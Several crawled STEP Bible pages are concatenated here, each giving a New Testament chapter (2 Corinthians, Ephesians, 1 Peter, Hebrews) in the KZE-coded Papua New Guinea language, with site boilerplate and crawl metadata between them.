usáyaaitanae séta Áánútuna mayáí kwémayaumne. 4 taáné iwevóíyé úmakesamo ááiꞋo tiyamáímo usáyaaitanaesamo ontembá íma mirá éta Áánútu asirayámbá símakaisata óꞋon-oꞋo-sawi-asirayamba kwéusayaaitaundayaawe. 5 kentáá sááiyavesa kampar-áínéímó kwésewai tááigomba kesááigoya kwéusayaaitaiye. évakarawai miwí túwíꞋa mósá marésa Áánútun-aai ísáavo sésa simái aambá áúmbaraawata aambó áúmbaraan-aimba usáyaaiteta kentáásí imáyáago Ísu Káráísitin-aai isáínkwáe símae kwéiyundayaawe. 6 kentáá sááiya isáígwáe séta timuꞋmaréta máyaunaꞋa mirá íyata tuwánéta kentáá sáái íma kwéisaawai sáwí-meyamba timénaumne.\n7 keinárawaꞋo máyáawaina ááimba imáyáa oró. keinárawapinkemba évakarawai sésa áraiꞋa Ísu Káráísitina kwaásiya úne sentembá kesáágwáráꞋá Ísu Káráísitina kwaásiya úmpo mindáyaveꞋa imáyáa oró. 8 Ísóigo asirayámbá siménaya keinárawaꞋa íma sáwíꞋa umátinkanaumpo kentí imáyáa asiramátinkanaundayavenaya minásíráyámbá símakaiye. minásíráyámbó símakaimbo simátímaꞋmae iyúnda-aimba mindá árair-aimba isatá póta minásíráyámbó símakaimbo simátímaꞋmae iyúndaya mindáyaveta íma sigaeyávéta kwéune. 9 aúvái agaimáímo timúnda íma maarán-ímáyáá éꞋa inkáíséro sénaya maanáúváí agaimái kwésimiye sevó-ímáyáá kwéeꞋa kwéagayaumne. 10 évakarawai kentávésa sésa aúváímba asirayán-áímbá simásimenaya ááéma keséya taména aamoisayán-kwáásí ména úwoi-aimba simásímakaiye kwésewai 11 miwí maarán-áímbá imáyáa oró. kentí némpaꞋa máyaunda póta aúváívimbo simátimunda-ainta kentópaꞋo kwéta mimbórá-áímbá póta kosimátimenaundayaaniye.\n12 kentávésa mirán-áímbó kwésewai miwí túwíꞋa mósá marésa anón-kwaasiya úne sewatá íma mimbórá-kwáásíráántá umái méta miwímó máyáawaina ááimba awánéta kesáá máyaundawaina ááinta íma taainéta séta kaweꞋá umáíya máyaumne. sáwíꞋa umáíya máyaumne séta íya taainánaumne. miwí moórá-morawaimo máyáawaina ááimba tuwánésa miwítí imáyáavinkemba sésa máyaundawaina ááinta kaweꞋán-iye kwésewe. mirámó kwéomba sáwí-imayaavinkemba kwéowe. 13 keinárawapimba Áánútumo símakainda-mayai-aimba sénaumpo ímo símakainda-aimba íma sénaumne. 14 keinárawaꞋo máyáapaꞋa Áánútu íma aambá aunéna úwoi kesáái kosimátíméro simásímakaisata úwoiya Ísu Káráísitina áséi-kwasai kosimátímakaumne. mirámó uráunda Áánútu íma aambá áúnkaisata úwoiya kosimátímakaumne. 15 Áánútumo aambó áúsinkaraim-bayaiyaveta óꞋon-kwaasimo mairáam-bayaiyaveta kesáá mairáumne íma séta kentáá súya maé kwéiyune. Ísu Káráísitin-aaiyaveꞋa áraire séꞋa asiramái imáyáa úmae iyónááomba timuꞋmaréta máyaunda póꞋa mirámó íyata ávááraumai túwaꞋnaa ónaundayaawe. 16 mirámó íyata kanaám-póta tiyuwéta óꞋon-oꞋom-baravaꞋa Ísu Káráísitin-aai simátímaꞋmaeta naaónaumne. óꞋowimo Ísu Káráísitin-aaimo simátímaken-ayampaꞋa íma kométa kampaꞋá séta kesáá simátímakaumne séta kentáá súya maé iyónaumne.\n17 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nmiwí kesáváí mayáíyávésa íma túwíꞋa mósá marésa Ísóigona mayáíyávésa kwenáwíꞋa mósá máráaro\nagaimaréna siráiye. 18 kwaási kesáváí kawe-kwáásímá úne kwésemba ímanivo Ísóigo kawe-kwáásímán-owe kwésiwai mindá Áánútu aúrankaꞋa kawe-kwáásímán-owe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.10","date":"2018-04-23T15:18:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946077.4\/warc\/CC-MAIN-20180423144933-20180423164933-00404.warc.gz","language":"kze","language_score":0.9999381304,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999381303787231}","num_words":550,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 11 kemá Póro maanáúváí agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-iꞋa éma Ísu Káráísitin-aai kosimátímaꞋmae naauwó séna siꞋmákaivo ísáaro. Évésasi-naopakewai Ísóigona kwaási Ísu Káráísitiye tarúmai máyáawai íma ivátuweꞋa asiramái máyáawai ísáaro. 2 Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwaꞋnaa esarai paru kwéumatinkaayantaveꞋa námúnaa kwésune.\nKáráísitinte tarúsinkenaya ításinkarain-kwasai.3 Áánútuma Ísu Káráísiti avowámá éna Ísu Káráísitinteya tarúsinkenaya kwíyómpaꞋa kwenópakemba asirayámbá siménaya kaweꞋá kwéumasinkaisata póta kwentávéta súwi kwésune. 4 naaóváꞋá Áánútu maramá íma tarórurainkaꞋa Ísu Káráísitiyeya tarúmaiya ménaundayavenaya kwenaúrankaꞋa kwendéí-íꞋa onanayá kentáávímbá íma sáwí-aimba kwénintavena ítámakaiye 5 Áánútu kentááyávéna imáyáa éna naaóváꞋá séna Ísu Káráísitina mayáíyávéꞋo éꞋa kesáánimbaa kesiyáámúmbaariꞋa ónááowe séna kwená imáyáavinkemba aamoí éna mirán-áímbá siráimba póna mirá uráiye. 6 ááninkomba arumbá ámakaiwainte tarúsinkenaya anón-kaweꞋa umásinkenaya úwoi súwaꞋnaa umásinkaraimba póta kwená ááimba óꞋoran-aaimba mósá kwémaraumne.\n7 pukáintavena sáwí-imayaaya maisiyuwénaya misáwí-ímáyááó tátokainta iyásinkenaya kentááyávéna óꞋoran-imayaa kwéimba úwoi ávááraumai súwaꞋnaa enaya póna kentáásí sáwí-imayaa maisíyukaiye. 9 naaóváꞋá kwená kawer-ímáyáávínkémbá aúpáꞋá toꞋmayaa úmakaimba ívéꞋa kwévaarisata kwéawanaumne. Káráísiti kesí imáyáa íníye siráintemba póna 10 Áánútumo siráin-kanaamo tínímba amápa-tantaaꞋo taróruraimba kwíyómpakene marapákéne komaéyamae úmarainana Káráísiti anóndako mindáraꞋa kárákwiyiniye.\n11 Áánútu kwená imáyáavinkemba toꞋmayaa úmakaimpinkemba mirá kwéiye. imáyáa éna toꞋmayaa úmakaimba póna Yútaa-kwaasi kwená kwaási-iꞋa úndayavenaya Káráísitinte tarúsinkenaya ításinkaraintaawe. 12 aivaꞋá Káráísitimba amuꞋmaréta máyaundawai kwená ááimba óꞋoran-aaimba isatá mósá kwémaraumne.\n13 miráumai óꞋonkaa-kwaasi árair-aimba kawer-ámpáꞋá métinkaniye mináséí-áímbá iséꞋa Ísu Káráísitin-aaiyaveꞋa áraire séꞋa kwesé tarúmai máyáamba Áánútu kesimambá timénaumne simái asirámakaintemba mirá uráimba póꞋa kwená kwaási-iꞋa umái méꞋa ísaraawe. 14 Áánútun-amanko keséya máyáintaveta séta áraiꞋa Áánútu kwená kwaásiyavena simái asirámakainta kesópata tíníye. áraiꞋa Áánútu kwená kwaásiya tátokaampinkemba iyásinkanintaawe kwéseta mindáyaveta kwená ááimba óꞋoran-aaimba mósá kwémaraumne.\n15 agairáúnda árair-aimba póꞋa keinárawaꞋa Ísóigo Ísuwe aráápamai méꞋa Áánútuna kwaásiti imáyáa éꞋa máyáawe-aimba iséꞋa 16 ÁánútumpaꞋa súwi símae iyéꞋa keinárawaꞋa túwaꞋnaa umai námúnaa súnda 17 ÁánútumpaꞋa maarán-áíntávéꞋa áísaa une. Ísóigo Ísu Káráísiti avowámá kentáásivowama óꞋoran-aaimba kwáyáiwai kwemá kwenamambá timínana kentí imáyáa kaweꞋá umátinkena Áánútumba agaráátinkainaꞋa póꞋa kaweꞋá umái awánanaaowe. 18 kentí imáyáa ságamatinkena tááyaraintaveꞋa kwesémo ménaaombo amuꞋmaréꞋo máyáantaveꞋa mindáyaveꞋa námúnaa kwésune. kwemá kwená kwaási kaweꞋó umáímo ménaaomba toꞋmayaa úmarena simái asirámakaimba awánanaaontaveꞋa námúnaa kwésune. 19 kwenááiyaveta áraire kwésundawaivinta kwená asirayánkó mayáímá kwémayaimba minásíráyámbá usáyaaitarain-asirayanko isaꞋá awánanaaontaveꞋa námúnaa kwésune. Áánútu minásíráyándéí Káráísitimba pukáimpinkemba usásinankena kwenayáánúrapaꞋa asirayán-áyámpáꞋá kwíyómpaꞋa móankaraiye. minásíráyámbá kwenááiyaveta áraire kwésundawaimba símakain-asirayamba mimbórá-ásíráyámbán-iye. 21 Káráísiti amáparawairaꞋa kárákwirena kwíyómpaꞋo kárákwiraawairare asirayánkwáráwáíráré aivaráwáíráré ívéꞋo túwíꞋo kwáyáiwairare naaémbo túwíꞋo kwéniwairare kárákwiraiye. 22 Áánútu amáparawairaꞋa kárákwiyinintavena kwembá usásinankena kwená kwaásiyavena imáyáa éna simámena séna usáyaaitayan-IsoigoiꞋa uréma amáparawairaꞋa kárákwiyuwo siráiye. 23 aꞋnómpínkén-ímáyááómó amápa-kuraꞋo kárákwiraintemba Áánútuna kwaásiya Káráísitina áúraamba únanaya kwemá siꞋnónkáámbá éna kárákwiraiye. aꞋnónkó kweyááraꞋa íma máyáísana áúwawaako íma mirá éna mimbórá-kúwawaaꞋo kwáyáintemba Káráísiti amápa-kuwawaaꞋa aaómísamai-iꞋa umásinkena kwegwáráꞋá aaómísamai-iꞋa umái máyáiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Eph.1","date":"2018-04-24T01:08:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946314.70\/warc\/CC-MAIN-20180424002843-20180424022843-00507.warc.gz","language":"kze","language_score":0.9999765158,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999765157699585}","num_words":568,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Peter 4\nÁánútuna imáyáavinkeniꞋa oró-kwásái.1 Ísu Káráísiti áíꞋa úniꞋa umánkówana asiramáímo imáyáamo uráintemba keinárawakwaraꞋa asiramái imáyáa oró. túraꞋo tíꞋo úniꞋo umátínkówai miwímó sáwíꞋo ónááon-imayaago íma tátokaiye. 2 marapáꞋó máyáamba sáwí-imayaayaveꞋa tirááíyaveꞋa íma kwéeꞋa Áánútuna imáyáavinkeniꞋa oró. 3 ÁánútunopaꞋo ímo tiráán-kwaasimo kwéontemba keinárawakwaraꞋa mirá uráavo ívéꞋa íma mirá kwéowe. ááéma maarán-umai áwáyo-tantaaꞋa kwéeꞋa sáwí-imayaayaveꞋa tirááíyaveꞋa kwéeꞋa uwoꞋaóꞋ-nómbá kwéneꞋa uwoꞋaóꞋá kwéeꞋa toómbá námae kwéiyeꞋa uwoꞋaóꞋ-nómbó kwéneꞋo uwoꞋaóꞋó ónááontaveꞋa torupamái méꞋa kígaumo umándanaao sumpur-áínkón-ááima mósá maréꞋa kwaántá-kwaasiyonti imáyáa mósá maréꞋa mirá uráambanivo 4 ívéꞋa íma miwísé torupamái méꞋa mirá-sáwí-yántááꞋá íma owasá tuwánésa sésa ívéꞋa nóra séra íma mirá kwéoo simái sáwíꞋa kwéumatinkaawe. 5 Áánútu toꞋmayaa umái ména pukén-kwaasigwara túvamaimo mén-kwaasigwaraꞋa miwímó máyáawaina ááimba tísaa ínasa simámiyana miwítí meéyámbá timíníye. 6 marapáꞋó máyónkaꞋo uráam-beyamba mairésamo pukáawai Áánútumo máyáintemba miwí timankómó miráumaimo ménaaontavena Ísu Káráísiti kwenamankó kwená áséi-kwasai púwún-kwaasi kosimátímakaiye.\nÁánútu mayáígóná asirayámbá tímakain-kwasai.7 amápa-tantaaꞋa ánásanin-kanaa sáwíyankaꞋa tínímba póꞋa námúnaa símaeꞋa kwéiyon-aimpimba kawer-ímáyáá umái kárákwiyoro. 8 moórá-morawaivimba kentirumbá timí-timi kwéeꞋa mirámó éꞋo éꞋa sáwíꞋo umátinkanaaomba mirá-sáwí-yántáátávéꞋa íma anondá ónáe-imayaa éꞋa 9 namu-kwaasímó tíyamba naambá toómbá timéꞋa íma íꞋái simátínkáaro. 10 kaweꞋá umátinkanaaontavena Áánútu moórá-mora-kwaasi óꞋon-oꞋom-bayaigona asirayámbá tímakaimba póꞋa íma úwoi maéꞋa minásíráyándéí moórá-mora-kwaasi túwaꞋnaa oro. 11 Áánútun-aai kwésimatimewai mináín-úramba arupí umái simátíméro. kwétuwaꞋnaa-owai Áánútu kwétimin-asirayandei túwaꞋnaa oro. Ísu Káráísiti kwétuwaꞋnaa-isaꞋa mirá kwéeꞋa mindáyaveꞋa amápa-tantaataveꞋa Áánútu áwíꞋa mósá kwémaraawe. Áánútu áwíꞋa anómba kwaíkwaiꞋa kwéisana kwená asirayánkó mirámó kwéimba mindá árair-aimban-iye.\nÍsumbo umánkaraantemba kembá tíꞋa índaiꞋa ónááon-kwasai.12 kesí kwaási kentí imáyáa kwéunda-kwaasi owaná kentópaꞋa anón-umbai-yantaaꞋa timbá minúmbáí-yántáápímbá méꞋa mindáyaveꞋa íma táátaveꞋa éꞋa séꞋa óꞋoran-tantaaꞋa kesópaꞋa tiráiye íma seró. Áánútuwema asiramáíya máyáantavaiyaꞋi. íya asiramáíya máyáantavaiyaꞋiyo. minúmbáí-yántááꞋá kentópaꞋa kwétiye. 13 Ísu Káráísitimbo áíꞋo úniꞋo umánkóntemba keinárawaꞋa tíꞋa úniꞋa umátínkaraamba póna kentirunkó kaweꞋá ínana Ísu Káráísiti ságayankwaraꞋa kumíndaraꞋa kentirunkó anón-kaweꞋa íníye. 14 Ísu Káráísitina kwaásima ontávésamo simáímo sáwíꞋo umátinkanaaombo éꞋa íma imáyáa íyana kentirunkó kaweꞋá éna Áánútun-amanko óꞋoran-amanko keinárawate máyáintavena kentirunkó kaweꞋá íníye. 15 keinárawapinkemba íma moóráwai kaekó kwaási tinkámbai puwésa íma umóyámbá ésa íma óꞋon-oꞋon-tantaaꞋa sáwíꞋa ésa íma aosaambá kwiyésa mirámó íyawaimo ésa sáwí-meyamba mayánááovo 16 Ísu Káráísitina kwaási-iꞋo onkákémbó umbai-yántááꞋó timíyaꞋo éꞋa íma táátaveꞋa oró. miwí tirunkómó sáwíꞋo kwéinasamo Káráísitina kwaási owémó kwésiyamba ÁánútumpaꞋa súwi seró.\n17 Áánútu amáparawaimo máyáawaina ááimbo tísaa ínín-kanaamo tínímba aivaꞋá kwená kwaásiya sísaa ena kentáámó umbai-yántááꞋó siménamo énaya kwená áséi-kwasaimo arááíráan-kwaasi anón-umbai-yantaaꞋa timíníye. 18 mindáyavena Áánútun-aai aúváívimba agaimaréna séna\n- Áánútu arupí umái máyáawaima sáwí-imayaavinkemba tíꞋmai kawepáꞋá métínkáimba mindá umbai-máyáímán-ivo Áánútuntavesamo ímo aamoimó ésamo sáwíꞋo kwéowai miwí sáwíꞋo umáímo máyáampimba miráumai sáwíꞋa umái ménaaowe\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Pe.4","date":"2018-04-23T19:35:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946165.56\/warc\/CC-MAIN-20180423184427-20180423204427-00455.warc.gz","language":"kze","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999969005584717}","num_words":547,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 21 imáyáa éꞋa séꞋa ókwaraꞋa kentópaꞋa kwéꞋa sáwíꞋo kwéontaveꞋa asiramái simátíménana tirunkó umbaí taivó séꞋa ívéꞋa íma kónaumne siráumne. 2 kentirumbó umbaimó tamátínkáanasamo ésa kesirumbó kaweꞋó umásinkanaaowai íma ménaaowe. 3 kentópaꞋa íma kuráundaraꞋa séꞋa aúváívimba awánéꞋa sáwíꞋo kwéomba kaweꞋá umátinkaigwae séꞋa kentópaꞋo kondá íma sirunkó umbaí táníye séꞋa mináúváí agaimái timéꞋa kaweꞋó umáímo máyáantavena kesirunkó kaweꞋá íníwai mináúváí agaimái tímakaumne. kesirunkómó kaweꞋó ínanamo éna kentirunkógwáráꞋá kaweꞋó ínímba mindá árair-aimban-iye. 4 mináúváí agaitimúnda sirunkó umbaí tówaꞋa keinárawataveꞋa anón-imayaa éꞋa ávááraumai iviꞋá tamátinkeꞋa tirunkó umbaí taínoyaveꞋa íma mináúváí agaimái tímakaumpo Póro kwenarumbá ávááraumai símakaiye sénááontaveꞋa mináúváí agaimái tímakaumne.\nsáwíꞋo uráin-kwaasiyavai enáái ánásaiye seró siráin-kwasai.5 keinárawapinkemba moórá-kwaasigo sáwíꞋa uráintavena íma kempíné suꞋmainivo keinárawapinkemba évakarawaivimba umbai-yántááꞋá kwáyáiye. amáparawaivimba umbai-yántááꞋá kwáyáiye-aimba mirán-ánón-áímpáꞋá íma sénáe séꞋa évakarawaivimba umbai-yántááꞋá kwáyáiye-aimba kwésune. 6 tímakaunda-auvai awánéꞋa simái moórá-ainkaꞋa maréꞋa asirayán-áímbá minkwáásígómbá simánkeꞋa kwená egwaaꞋá íma méꞋa sáwíꞋo uráintaveꞋa mimbéyámbá améꞋa íma óꞋom-beyamba áméro. 7 ívéꞋa kwentávéꞋa séꞋa enáái ánásaiye séꞋa íma ókwaraꞋa imáyáa úmae iyéꞋa aráváyáaro. kemá ámé-sawi-meyamba kwaíkwaiꞋa ínana séna íma kanaán-umai kawer-ámpáꞋá kónaumne séna ivátúwáívainivo 8 kwentávéꞋa séꞋa embá siruntá kwéamumpo kaweꞋá umái maiyó seró-áímbá asiramái kwésune. 9 ááéma keinárawataveꞋa séꞋa simátimunda-aimba isánááo. íya isánááoo séꞋa kentópaꞋa íma kwéꞋa mináúváívímbá agaimái tímakeꞋa timuꞋmaréꞋa méraumne. 10 sáwíꞋo uráin-kwaasigontaveꞋa séꞋa kwenáái ánásaiye séꞋa ímo ókwaraꞋo imáyáamo kwéontemba kegwáráꞋá mirá kwéune. sáwíꞋo uráintaveꞋa séꞋa kwenáái ánásaiye séꞋa íma ókwaraꞋa imáyáa kwéeꞋa Ísu Káráísiti aúrankaꞋa keinárawataveꞋa imáyáa éꞋa mirá kwéune. 11 Sáátáánigona sáwí-mayaigona ááimba awánéta kentáá usáyaaitaivo séta sáwíꞋo uráintaveta ókwaraꞋa íma imáyáa úmae iyéta séta kwenáái ánásaiye kwésune.\nTáróasivaꞋa ména Póro anón-imayaa uráin-kwasai.12 Ísu Káráísitin-aai áséi-kwasai kosimátimenae séꞋa Táróasi-naopaꞋa komáyaawanda mináímbá isánááontavena Ísóigomo toꞋmayaa úmba awánéꞋa áséi-kwasai simátíménae séꞋa ówánda 13 kesí kwaásigo áwíꞋa Táítási kentí naaópakemba Táróasi-naopaꞋa íma téna kentáái tasimásímíntaveꞋa avakáá uwááeꞋa íma awánéꞋa anón-imayaa éꞋa séꞋa tiyuwéꞋa kónaumne séꞋa Másétóniyaa-maravaꞋa tiráumne.\nÍsuna asirayándéí siyáántán-tamai ávónta kwéuvunda-kwasai.14 maarán-áíntávéta ÁánútumpaꞋa súwiya kwésune. Ísu Káráísiti usáyaaitaraintavena Áánútu kwentéya tarúsinkenaya anónkaꞋa sisatá siyáántán-tamai ávónta kwéuvune. Áánútu siꞋmarówata Káráísitin-aai amápaꞋ-maravaꞋa kosimátimunasaya kwéisaawana kwenááigo áséi-kwiyunkaamba úmaena amápaꞋ-maravaꞋa kóyáwé kwéiye. 15 Áánútu séna Ísu Káráísiti kentávéna imáyáa éna kesí mayáí kwémayaimba áséi-kwiyun-kanamo kwéagayaanteniꞋa kwéiye kwésimba mirámó intembá Ísu Káráísitin-aai simátimunanaya Áánútu kentááyávéna séna Ísu Káráísitimo intembá áséi-kwiyun-kanamo kwéagayaanteniꞋa kwéowe kwésiye. Áánútun-aráái kwáráawai minkwíyúmbá ísááwasa Sáátáánigon-aráái kwáráawai minkwíyúmbá ísááwasa kwéowe. 16 Sáátáánigon-aráái kwáráawai puwésa Áánútuna némpaꞋa maíꞋmaiꞋa ónááowai Ísu Káráísitin-aai simátimunda-aintavesa ánkúkaamba kwéiye kwésewasa Áánútun-aráái kwáráawai mináíntávésa sésa áséi-kwiyunkaamba kwéiye kwésesa maíꞋmaiꞋa ónááowe. Áánútun-aai simátímén-aimba anóm-bayaiman-ivo kwaásiye suꞋmai íma kanaán-umai kwémayaawe. 17 Áánútu siꞋmarówata Káráísitina mayáí-kwáásí méta kwenaúrankaꞋa Áánútun-aai árair-aimba simátimeta íma árúvare-kwaasiraaniꞋa umái máyaunasaya meéyámbáréwaꞋa anón-ontamba mayánáe sésamo ontembá évakarawai Áánútun-aai simátíménasaya meéyámbá simígwáe sésamo ontembá kesáá íma mirá kwéeta Káráísitina mayáí-kwáásí méta Áánútun-aai árair-aimba kwésimatimune.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.2","date":"2018-04-23T00:12:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945668.34\/warc\/CC-MAIN-20180422232447-20180423012447-00541.warc.gz","language":"kze","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999985694885254}","num_words":582,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 61 mindáyaveta Ísu Káráísitin-aai paákákén-áíné suꞋmai íma iséta asirayán-áímbá arumpimbá kwáyáin-ainkwarata iséta sáákaevayan-kwaasiraanta íyataao.\nÍsu Káráísitin-aai paákákén-áímbá áꞋa simátímakaunda póꞋa íma moórágwaraꞋa simátímaꞋmae iyónaumne. simátímakaunda-aimba maarán-áímbán-iye. úwoi-mayaiyaveꞋa tínaaemba umámeꞋa Áánútun-aaiyaveꞋa áraire kwéseꞋa kwenkáꞋá agevamái máyáawe. 2 nombó kwévetinkaan-aimba simátimeꞋa Áánútuna mayáí mayáínkwáe sésa usásintinkesa tineꞋá tiyáámba kwétatoraan-aimba simátimeꞋa kwaásimo pukémpinkemba usásinanaaon-aimba simátimeꞋa Áánútu kwaásimo máyáawaina ááintavena tísaa ena timínana mimbéyámbá kwaíkwaiꞋa ínín-aimba simátímakaunda mináímbó áꞋo simátímakaunda-aimba ísaraavo asirayán-áímbá arumpimbá kwáyáin-aimba ísáaro. 3 Áánútumo súwaꞋnaa ínataamo éta iséta sáákaevayan-kwaasiraanta ónaumne.\n4 Áánútuna aampaꞋá kwaréꞋmai ivátukaawai óꞋomba kotavisíyasa koyauwerésa kawer-ámpáꞋá ténááombanivo íma ténááowe. miwí Áánútu sáma kamátínkarain-ayamapꞋa máyówana túwaꞋnaa ena kwenamankó miwísé máyowasa 5 miráumai mésa sésa Áánútun-aai kawer-áímbán-iye sésa Áánútuna asirayámbá évakaꞋa awánaraawe. naaémba Áánútuna asirayámbá amápaꞋa paárínasa minásíráyámbá évakaꞋa awánamai 6 ivátuwesa íma óꞋomba koyauwerésa ÁánútumpaꞋa ténááowe. mirámó kwéon-kwaasi maará kwéowe. Áánútu ááninkombo taairaꞋó tuvúwúwanamo pukáintemba miwí mirá kwéowasa tuwánésa Ísumba simái sáwíꞋa umánkááwasa mirámó ontávésa íma kanaán-umai koyauwerésa ÁánútumpaꞋa teénááowe.\n7 mirámó kwéon-kwaasi maaráráán-kwáásímán-owe. moórá-mora-tawai aaꞋá tisaná maramá kaweꞋá isaná toómbá anómba isasá kwaási kwénaawana Áánútu mirám-bárámá kaweꞋá kwéumatinkaiye. 8 ánivo moórá-ayampaꞋ-marama karaan-tantááré námáiye kwáyáim-barama úwoi-marama isaná sáwíyankaꞋa Áánútu iravímbá agaisuwáníye. miráumai Áánútuna aampaꞋá kwaréꞋmai ivátukaawai íma kanaán-umai koyauwerésa ÁánútumpaꞋa teénááowe. mindáyaveꞋa Ísu Káráísitin-aai paákákén-áímbá íma moórágwaraꞋa simátimenaumne.\n9 kesí kwaásiyono. mirán-áímbá súndanivo keinárawataveꞋa séꞋa íma sáwí-mararaan-kwaasi éꞋa kaweꞋ-máráráán-kwáásí owaná Áánútu kawer-ámpáꞋá kwémetinkaiye súne. 10 ÁánútuntaveꞋa imáyáa kwéontaveꞋa kwená kwaási kwétuwaꞋnaa-eꞋa ívékwaraꞋa mirá kwéowana Áánútu arupí umái máyáiwai mimbáyáíyávéna íma kwéawinkaiye. 11 maaráyávéna sirááíma kwétaiye. moórá-morawai ÁánútuntaveꞋa imáyáa kwéeꞋa karuwaaꞋá éꞋa íma ivátuweꞋa naaémbo ménaaombo paárinintaveꞋa amuꞋmaréꞋa méꞋa 12 íma tívón-káínaꞋa íma ivátuweꞋa Áánútuwe asiramáímo aráápamaimo mésamo Áánútumo timénaumne siráintavesamo amuꞋmarésamo máyáan-kwaasiraaniꞋa oró. maarán-kwáásírááníꞋo ombá sirááíma kwétaiye.\nÁánútu simái tarúmakain-kwasai.13 naaóváꞋá Áánútu Ááváramuntavena siráimba simái tarúmakonkaꞋa póna kwembá usáyaaitaraawai íma máyáantavena Áánútu séna amáparawai usáyaaitaraundawai méꞋa kesúrankaꞋa séꞋa kemó súnda-aimba áraiꞋa ónaumne séna simái tarúmarena 14 Ááváramuntavena séna áraiꞋa kaweꞋá umánkaumpo enaísaavutantambo ónááomba sáwívaꞋa 